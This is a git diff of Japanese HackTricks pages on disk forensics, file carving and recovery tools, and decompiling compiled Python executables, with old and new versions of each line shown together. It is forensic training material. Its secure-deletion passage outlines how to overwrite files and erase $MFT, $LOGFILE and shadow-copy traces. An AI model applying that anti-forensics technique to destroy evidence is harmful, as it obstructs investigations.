[**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)を使用してフォレンジックイメージをマウントした後、Windowsツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)**を使用して最初のセクタを検査できます**。次の画像では、**セクタ0**に**MBR**が検出され、解釈されています [**ArsenalImageMounter**](https://arsenalrecon.com/downloads/)を使用してフォレンジックイメージをマウントした後、Windowsツール[**Active Disk Editor**](https://www.disk-editor.org/index.html)**を使用して最初のセクターを検査できます。** 次の画像では、**セクター0**に**MBR**が検出され、解釈されました
![](<../../../.gitbook/assets/image (494).png>) ![](<../../../.gitbook/assets/image (494).png>)
もし**MBRの代わりにGPTテーブル**があれば、**セクタ1**に署名 _EFI PART_ が表示されるはずです(前の画像では空白です)。 それが**MBRの代わりにGPTテーブル**であった場合、**セクター1**に_EFI PART_というシグネチャが表示されるはずです前の画像では空です
## ファイルシステム ## ファイルシステム
### Windowsファイルシステムリスト ### Windowsファイルシステムリスト
@ -160,48 +162,49 @@ BIOSサービスを介して**GPTベースのブート**をサポートするオ
### FAT ### FAT
**FATFile Allocation Table**ファイルシステムは、その中核部品であるファイル割り当てテーブルを中心に設計されており、ボリュームの先頭に配置されています。このシステムは、テーブルの**2つのコピー**を維持することでデータを保護し、1つが破損してもデータの整合性を確保します。テーブルとルートフォルダは、システムの起動プロセスにとって重要な**固定された場所**にある必要があります。 **FAT (ファイルアロケーションテーブル)**ファイルシステムは、そのコアコンポーネントであるファイルアロケーションテーブルをボリュームの開始位置に配置するように設計されています。このシステムは、**2つのコピー**のテーブルを維持することでデータを保護し、1つが破損してもデータの整合性を確保します。テーブルとルートフォルダ**固定位置**に存在する必要がありこれはシステムの起動プロセスにとって重要す。
ファイルシステムの基本的な記憶単位は、通常512Bの**クラスタ**で、複数のセクタから構成されています。FATは次のバージョンを経て進化してきました: ファイルシステムの基本的なストレージ単位は**クラスター、通常は512B**であり、複数のセクターで構成されています。FATはバージョンを通じて進化してきました:
* **FAT12**は、12ビットのクラスタアドレスをサポートし、最大4078クラスタUNIXを含めると4084クラスタ)を処理します。 * **FAT12**は、12ビットのクラスタアドレスをサポートし、最大4078クラスタUNIXでは4084)を処理します。
* **FAT16**は、16ビットアドレスに拡張され、最大65,517クラスタを収容します。 * **FAT16**は、16ビットアドレスに拡張され、最大65,517クラスタを収容します。
* **FAT32**は、32ビットのアドレスをさらに進化させ、1つのボリュームあたり最大268,435,456クラスタを可能にします。 * **FAT32**は、32ビットアドレスでさらに進化し、ボリュームごとに驚異的な268,435,456クラスターを許可します。
FATバージョン全般にわたる重要な制限事項は、ファイルサイズの格納に使用される32ビットフィールドによる**4GBの最大ファイルサイズ**です。 FATバージョン全体にわたる重要な制限は、**4GBの最大ファイルサイズ**であり、これはファイルサイズストレージに使用される32ビットフィールドによって課せられています。
特にFAT12およびFAT16のルートディレクトリの主要なコンポーネントには、次のものが含まれます: 特にFAT12およびFAT16のルートディレクトリの主要なコンポーネントには以下が含まれます:
* **ファイル/フォルダ名**最大8文字 * **ファイル/フォルダ名**最大8文字
* **属性** * **属性**
* **作成、変更、最終アクセス日** * **作成、変更、最終アクセス日**
* **FATテーブルアドレス**(ファイルの開始クラスタを示す) * **FATテーブルアドレス**(ファイルの開始クラスタを示す)
* **ファイルサイズ** * **ファイルサイズ**
### EXT ### EXT
**Ext2**は、ブートパーティションのような**ジャーナリングされていない**パーティション(**あまり変更されないパーティション**)に最も一般的なファイルシステムです。**Ext3/4**は**ジャーナリング**されており、通常は**残りのパーティション**に使用されます。 **Ext2**は、**ジャーナリング**しないパーティション(**あまり変更されないパーティション**)に最も一般的なファイルシステムです。**Ext3/4**は**ジャーナリング**を行い、通常は**残りのパーティション**に使用されます。
## **メタデータ** ## **メタデータ**
一部のファイルにはメタデータが含まれています。この情報はファイルの内容についてのもので、ファイルタイプによっては興味深い情報が含まれることがあります: 一部のファイルにはメタデータが含まれています。この情報はファイルの内容に関するものであり、ファイルタイプによってはアナリストにとって興味深い情報を持っている場合があります。例えば、以下のような情報が含まれることがあります:
* タイトル * タイトル
* 使用されたMS Officeバージョン * 使用されたMS Officeバージョン
* 作成および最終変更日時 * 著者
* 作成日および最終変更日
* カメラのモデル * カメラのモデル
* GPS座標 * GPS座標
* 画像情報 * 画像情報
ファイルのメタデータを取得するために[**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)などのツールを使用できます。 [**exiftool**](https://exiftool.org)や[**Metadiver**](https://www.easymetadata.com/metadiver-2/)のようなツールを使用して、ファイルのメタデータを取得できます。
## **削除されたファイルの回復** ## **削除ファイルの回復**
### ログされた削除されたファイル ### ログされた削除ファイル
以前に見られたように、ファイルが「削除」された後もファイルが保存されている場所がいくつかあります。通常、ファイルシステムからファイルを削除すると、ファイルは削除されたとマークされますが、データは触れられません。その後、ファイルの登録MFTなどを調査し、削除されたファイルを見つけることが可能です。 前述のように、ファイルが「削除」された後、いくつかの場所にファイルがまだ保存されています。これは通常、ファイルシステムからファイルを削除することが単に削除としてマークされるだけで、データは触れられないためです。したがって、ファイルのレジストリMFTなどを検査し、削除されたファイルを見つけることが可能です。
また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存するため、ファイルを回復したり可能な限り多くの情報を取得するためにそれらを使用することができます。 また、OSは通常、ファイルシステムの変更やバックアップに関する多くの情報を保存しているため、それらを使用してファイルまたは可能な限り多くの情報を回復しようとすることができます。
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
@ -209,29 +212,29 @@ FATバージョン全般にわたる重要な制限事項は、ファイルサ
### **ファイルカービング** ### **ファイルカービング**
**ファイルカービング**は、データの塊からファイルを見つけようとする技術です。このようなツールが機能する主な方法には、**ファイルタイプのヘッダーとフッター**に基づく方法、ファイルタイプの**構造**に基づく方法、および**コンテンツ**自体に基づく方法があります **ファイルカービング**は、**大量のデータの中からファイルを見つけようとする技術**です。このようなツールが機能する主な方法は3つあります**ファイルタイプのヘッダーとフッターに基づく**、ファイルタイプの**構造に基づく**、および**コンテンツ自体に基づく**
この技術は、**断片化されたファイルを取得することはできません**。ファイルが**連続したセクタに保存されていない**場合、この技術はそれを見つけることができないか、少なくともその一部を見つけることができません。 この技術は**断片化されたファイルを取得するためには機能しない**ことに注意してください。ファイルが**連続したセクターに保存されていない**場合、この技術はそれを見つけることができないか、少なくともその一部を見つけることができません。
ファイルカービングには、検索したいファイルタイプを示すために使用できるいくつかのツールがあります。 ファイルカービングのために、検索したいファイルタイプを指定するいくつかのツールがあります。
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### データストリーム**カービング** ### データストリーム**C**arving
データストリームカービングは、ファイルカービングと似ていますが、**完全なファイルを探すのではなく、興味深い情報の断片を探します**。\ データストリームカービングはファイルカービングに似ていますが、**完全なファイルを探すのではなく、興味深い情報の断片を探します**。\
たとえば、ログされたURLを含む完全なファイルを探すのではなく、この技術はURLを検索します。 たとえば、ログされたURLを含む完全なファイルを探すのではなく、この技術はURLを検索します。
{% content-ref url="file-data-carving-recovery-tools.md" %} {% content-ref url="file-data-carving-recovery-tools.md" %}
[file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md) [file-data-carving-recovery-tools.md](file-data-carving-recovery-tools.md)
{% endcontent-ref %} {% endcontent-ref %}
### 安全な削除 ### セキュア削除
明らかに、ファイルを**「安全に」削除し、それに関するログの一部を削除する方法**があります。たとえば、ファイルの内容を何度もジャンクデータで上書きし、その後、ファイルに関する**$MFT**および**$LOGFILE**からのログを削除し、**ボリュームシャドウコピー**を削除することが可能です。\ 明らかに、ファイルやそれに関するログの一部を**「安全に」削除する**方法があります。たとえば、ファイルの内容をジャンクデータで数回上書きし、その後**$MFT**や**$LOGFILE**からファイルに関する**ログ**を削除し、**ボリュームシャドウコピー**を削除することが可能です。\
この操作を実行しても、ファイルの存在がまだログされている他の部分があるかもしれないことに注意してください。これは、フォレンジック専門家の仕事の一部です。 この操作を実行しても、**ファイルの存在がまだログされている他の部分があるかもしれない**ことに気付くかもしれませんが、それは真実であり、フォレンジック専門家の仕事の一部はそれらを見つけることです。
## 参考文献 ## 参考文献
@ -239,4 +242,19 @@ FATバージョン全般にわたる重要な制限事項は、ファイルサ
* [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm) * [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
* [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html) * [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
* [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service) * [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
* **iHackLabs Certified Digital Forensics Windows** * **iHackLabs認定デジタルフォレンジックWindows**
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# ファイル/データの彫刻と回復ツール # ファイル/データカービングと回復ツール
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
- [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[telegramグループ](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
</details> </details>
{% endhint %}
**Try Hard Security Group** **Try Hard Security Group**
@ -22,19 +23,19 @@ HackTricksをサポートする他の方法
*** ***
## 彫刻と回復ツール ## カービングと回復ツール
[https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にさらに多くのツールがあります [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)にもっと多くのツールがあります。
### Autopsy ### Autopsy
フォレンジックで最も一般的に使用されるファイルをイメージから抽出するためのツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージやその他の種類のイメージをサポートするように構築されていますが、単純なファイルはサポートしていません フォレンジックで画像からファイルを抽出するために最も一般的に使用されるツールは[**Autopsy**](https://www.autopsy.com/download/)です。ダウンロードしてインストールし、ファイルを取り込んで「隠れた」ファイルを見つけます。Autopsyはディスクイメージや他の種類のイメージをサポートするように構築されていますが、単純なファイルには対応していないことに注意してください
### Binwalk <a href="#binwalk" id="binwalk"></a> ### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk**はバイナリファイルを分析して埋め込まれたコンテンツを見つけるためのツールです。`apt`を介してインストールで、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)にあります。 **Binwalk**は、埋め込まれたコンテンツを見つけるためにバイナリファイルを分析するツールです。`apt`を介してインストール可能で、そのソースは[GitHub](https://github.com/ReFirmLabs/binwalk)にあります。
**便利なコマンド**: **便利なコマンド**
```bash ```bash
sudo apt install binwalk #Insllation sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file binwalk file #Displays the embedded data in the given file
@ -43,61 +44,84 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
``` ```
### Foremost ### Foremost
もう1つの一般的な隠しファイルを見つけるためのツールは **foremost** です。Foremost の設定ファイルは `/etc/foremost.conf` にあります。特定のファイルを検索したい場合は、それらのコメントを外してください。何もコメントを外さない場合、foremost はデフォルトで設定されたファイルタイプを検索します。 もう一つの一般的なツールは**foremost**です。foremostの設定ファイルは`/etc/foremost.conf`にあります。特定のファイルを検索したい場合は、それらのコメントを解除してください。何もコメントを解除しない場合、foremostはデフォルトで設定されたファイルタイプを検索します。
```bash ```bash
sudo apt-get install foremost sudo apt-get install foremost
foremost -v -i file.img -o output foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output" #Discovered files will appear inside the folder "output"
``` ```
### **Scalpel** ### **スカルペル**
**Scalpel**は、ファイルに埋め込まれたファイルを見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル_/etc/scalpel/scalpel.conf_からコメントアウトする必要があります。 **スカルペル**は、**ファイルに埋め込まれたファイル**を見つけて抽出するために使用できる別のツールです。この場合、抽出したいファイルタイプを設定ファイル_/etc/scalpel/scalpel.conf_からコメント解除する必要があります。
```bash ```bash
sudo apt-get install scalpel sudo apt-get install scalpel
scalpel file.img -o output scalpel file.img -o output
``` ```
### Bulk Extractor ### Bulk Extractor
このツールはKaliに含まれていますが、こちらで見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor) このツールはkaliに含まれていますが、こちらでも見つけることができます: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
このツールは画像をスキャンし、**その中からpcapsを抽出**し、**ネットワーク情報URL、ドメイン、IP、MAC、メール**や**その他のファイル**を取得することができます。行う必要があるのは以下の通りです: このツールはイメージをスキャンし、その中にある**pcaps**、**ネットワーク情報URL、ドメイン、IP、MAC、メール**、およびその他の**ファイル**を**抽出**します。あなたがする必要があるのは:
``` ```
bulk_extractor memory.img -o out_folder bulk_extractor memory.img -o out_folder
``` ```
すべての情報をナビゲートします(パスワード?)、パケットを分析します([**Pcaps分析**](../pcap-inspection/)を読む)、奇妙なドメインを検索します(**マルウェア**や**存在しない**ドメインに関連する)。
### PhotoRec ### PhotoRec
[https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download) で入手できます。 [https://www.cgsecurity.org/wiki/TestDisk\_Download](https://www.cgsecurity.org/wiki/TestDisk\_Download)で見つけることができます。
GUI と CLI バージョンがあります。PhotoRec が検索する**ファイルタイプ**を選択できます。 GUIとCLIのバージョンがあります。PhotoRecが検索する**ファイルタイプ**を選択できます。
![](<../../../.gitbook/assets/image (524).png>) ![](<../../../.gitbook/assets/image (524).png>)
### binvis ### binvis
[コード](https://code.google.com/archive/p/binvis/) と [web ページツール](https://binvis.io/#/) をチェックしてください。 [コード](https://code.google.com/archive/p/binvis/)と[ウェブページツール](https://binvis.io/#/)を確認してください。
#### BinVis の特徴 #### BinVisの特徴
- ビジュアルでアクティブな**構造ビューア** * 視覚的でアクティブな**構造ビューワー**
- 異なる焦点点のための複数のプロット * 異なる焦点のための複数のプロット
- サンプルの一部に焦点を当てる * サンプルの一部に焦点を当てる
- PE や ELF 実行可能ファイル内の**文字列やリソース**を見る * PEまたはELF実行可能ファイルの**文字列とリソース**を見る
- ファイルの暗号解析のための**パターン**を取得 * ファイルの暗号解析のための**パターン**を取得
- パッカーやエンコーダーアルゴリズムを**特定** * パッカーまたはエンコーダアルゴリズムを**特定**
- パターンによるステガノグラフィを**識別** * パターンによるステガノグラフィの**識別**
- バイナリの差分を**視覚化** * **視覚的**なバイナリ差分
BinVis は、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**スタートポイント**です。 BinVisは、ブラックボックスシナリオで未知のターゲットに慣れるための素晴らしい**出発点**です。
## 特定のデータカービングツール ## 特定のデータカービングツール
### FindAES ### FindAES
TrueCrypt や BitLocker で使用されるような 128、192、256 ビットのキーを見つけるために、キースケジュールを検索することで AES キーを検索します。 AESキーのスケジュールを検索することでAESキーを検索します。TrueCryptやBitLockerで使用される128、192、256ビットのキーを見つけることができます。
[こちらからダウンロード](https://sourceforge.net/projects/findaes/) [こちらからダウンロード](https://sourceforge.net/projects/findaes/)
## 付随するツール ## 補完ツール
ターミナルから画像を表示するために [**viu** ](https://github.com/atanunq/viu)を使用できます。\ [**viu**](https://github.com/atanunq/viu)を使用してターミナルから画像を見ることができます。\
Linux コマンドラインツール **pdftotext** を使用して、PDF をテキストに変換して読むことができます。 Linuxコマンドラインツール**pdftotext**を使用してPDFをテキストに変換し、読むことができます。
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
AWSハッキングを学び、練習する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、練習する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
# コンパイルされたPythonバイナリexe、elfを逆コンパイルする - .pycから取得 # コンパイルされたPythonバイナリexe、elfをデコンパイルする - .pycから取得
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>htARTEHackTricks AWS Red Team Expert</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong></strong></summary> <summary>HackTricksをサポートする</summary>
HackTricksをサポートする他の方法 * [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! * **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)で**フォロー**する。
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、**ハッキングトリックを共有**する。
</details> </details>
{% endhint %}
<figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**して、ハッカーによって作成されたプレミアム**バグバウンティプラットフォーム**に参加しましょう![**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)で今すぐ参加し、最大**$100,000**のバウンティを獲得しましょう! **バグバウンティのヒント****Intigriti**に**サインアップ**してください。これは、ハッカーによって、ハッカーのために作られたプレミアム**バグバウンティプラットフォーム**です!今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**のバウンティを獲得し始めましょう!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## コンパイルされたバイナリから .pyc ## コンパイルされたバイナリから.pycへ
**ELF**コンパイルされたバイナリからは、次のようにして **.pyc** を取得できます: **ELF**コンパイルバイナリから**.pycを取得する**ことができます:
```bash ```bash
pyi-archive_viewer <binary> pyi-archive_viewer <binary>
# The list of python modules will be given here: # The list of python modules will be given here:
@ -41,38 +42,39 @@ pyi-archive_viewer <binary>
? X binary_name ? X binary_name
to filename? /tmp/binary.pyc to filename? /tmp/binary.pyc
``` ```
**Python exe バイナリ**にコンパイルされた場合、次のコマンドを実行して **.pyc** を取得できます: In a **python exe binary** compiled you can **get the .pyc** by running:
**コンパイルされたpython exeバイナリ**では、次のコマンドを実行することで**.pyc**を取得できます:
```bash ```bash
python pyinstxtractor.py executable.exe python pyinstxtractor.py executable.exe
``` ```
## .pycからPythonコードへ ## From .pyc to python code
**.pyc**データ「コンパイルされた」Pythonから、**元の** **Python** **コード**を**抽出**し始める必要があります: **.pyc**データ「コンパイルされた」Pythonについては、**元の** **Python** **コード**を**抽出**しようとすることから始めるべきです:
```bash ```bash
uncompyle6 binary.pyc > decompiled.py uncompyle6 binary.pyc > decompiled.py
``` ```
**.pyc**の**拡張子**が**バイナリ**に**あること**を**確認してください**そうでない場合、uncompyle6は機能しません **必ず**バイナリが**拡張子**「**.pyc**」を持っていることを確認してくださいそうでない場合、uncompyle6は機能しません
**uncompyle6**を実行する際に、**次のエラー**が**発生する**可能性があります: **uncompyle6**を実行していると、**以下のエラー**が発生することがあります:
### エラー:不明なマジックナンバー227 ### エラー: 不明なマジックナンバー 227
```bash ```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc /kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc Unknown magic number 227 in /tmp/binary.pyc
``` ```
ファイルの先頭に**正しいマジックナンバーを追加する必要があります** これを修正するには、生成されたファイルの先頭に**正しいマジックナンバー****追加する**必要があります。
**マジックナンバーはPythonのバージョンによって異なります**。**Python 3.8**のマジックナンバーを取得するには、**Python 3.8**のターミナルを開いて次のコマンドを実行する必要があります: **マジックナンバーはPythonのバージョンによって異なります**。**Python 3.8**のマジックナンバーを取得するには、**Python 3.8**のターミナルを**開いて**、次のコマンドを実行する必要があります:
``` ```
>> import imp >> import imp
>> imp.get_magic().hex() >> imp.get_magic().hex()
'550d0d0a' '550d0d0a'
``` ```
**マジックナンバー**は、この場合、Python3.8の場合は**`0x550d0d0a`**です。したがって、このエラーを修正するには、**.pycファイル**の**先頭**に次のバイトを追加する必要があります:`0x0d550a0d000000000000000000000000` この場合のpython3.8の**マジックナンバー**は**`0x550d0d0a`**です。次に、このエラーを修正するには、**.pycファイル**の**先頭**に次のバイトを**追加**する必要があります: `0x0d550a0d000000000000000000000000`
その**マジックヘッダー**を追加したら、**エラーは修正されるはず**です。 **その後**、そのマジックヘッダーを**追加**すると、**エラーは修正されるはずです。**
これが正しく追加された**.pyc Python3.8のマジックヘッダー**の見た目です: 正しく追加された**.pyc python3.8マジックヘッダー**は次のようになります:
```bash ```bash
hexdump 'binary.pyc' | head hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000 0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
@ -80,21 +82,21 @@ hexdump 'binary.pyc' | head
0000020 0700 0000 4000 0000 7300 0132 0000 0064 0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064 0000030 0164 006c 005a 0064 0164 016c 015a 0064
``` ```
### エラー: 一般的なエラーの逆コンパイル ### エラー: 汎用エラーのデコンパイル
`class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` のような**その他のエラー**が発生する可能性があります。 **他のエラー**として: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` が表示されることがあります。
これはおそらく、**適切なマジックナンバーを正しく追加していない**か、**正しいマジックナンバーを使用していない**ことを意味すので、**正しいものを使用していることを確認**してください(または新しいものを試してみてください)。 これはおそらく、**マジックナンバーを正しく追加していない**か、**正しいマジックナンバーを使用していない**ことを意味しますので、**正しいものを使用していることを確認してください**(または新しいものを試してください)。
前のエラードキュメントを確認してください。 前のエラードキュメントを確認してください。
## 自動ツール ## 自動ツール
[**python-exe-unpackerツール**](https://github.com/countercept/python-exe-unpacker) は、Pythonで書かれた実行可能ファイルをアンパックおよび逆コンパイルするために設計されたいくつかのコミュニティで利用可能なツールの組み合わせとして機能します。特に、py2exeとpyinstallerで作成されたものに対応しています。実行可能ファイルがPythonベースであるかどうかを識別するためのYARAルールが含まれており、作成ツールを確認します。 [**python-exe-unpackerツール**](https://github.com/countercept/python-exe-unpacker)は、Pythonで書かれた実行可能ファイルをアンパックおよびデコンパイルするために設計された、いくつかのコミュニティで利用可能なツールの組み合わせとして機能します。特に、py2exeおよびpyinstallerで作成されたものに対応しています。Pythonベースの実行可能ファイルを特定し、作成ツールを確認するためのYARAルールが含まれています。
### ImportError: ファイル名: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' が存在しません ### ImportError: ファイル名: 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' が存在しません
遭遇する一般的な問題には、**unpy2exeまたはpyinstxtractorでのアンパックプロセスから生じる不完全なPythonバイトコードファイル**が関連しており、その後、**不足しているPythonバイトコードバージョン番号のためにuncompyle6によって認識されない**ことがあります。 これを解決するために、必要なPythonバイトコードバージョン番号を追加するprependオプションが追加されました。これにより、逆コンパイルプロセスが容易になります。 一般的な問題は、**unpy2exeまたはpyinstxtractorを使用したアンパックプロセス**の結果として不完全なPythonバイトコードファイルが発生し、その後**Pythonバイトコードバージョン番号が欠落しているためにuncompyle6によって認識されない**ことです。これに対処するために、必要なPythonバイトコードバージョン番号を追加するprependオプションが追加され、デコンパイルプロセスを容易にします。
問題の例: 問題の例:
```python ```python
@ -114,9 +116,9 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
# Successfully decompiled file # Successfully decompiled file
[+] Successfully decompiled. [+] Successfully decompiled.
``` ```
## Pythonアセンブリの解析 ## Analyzing python assembly
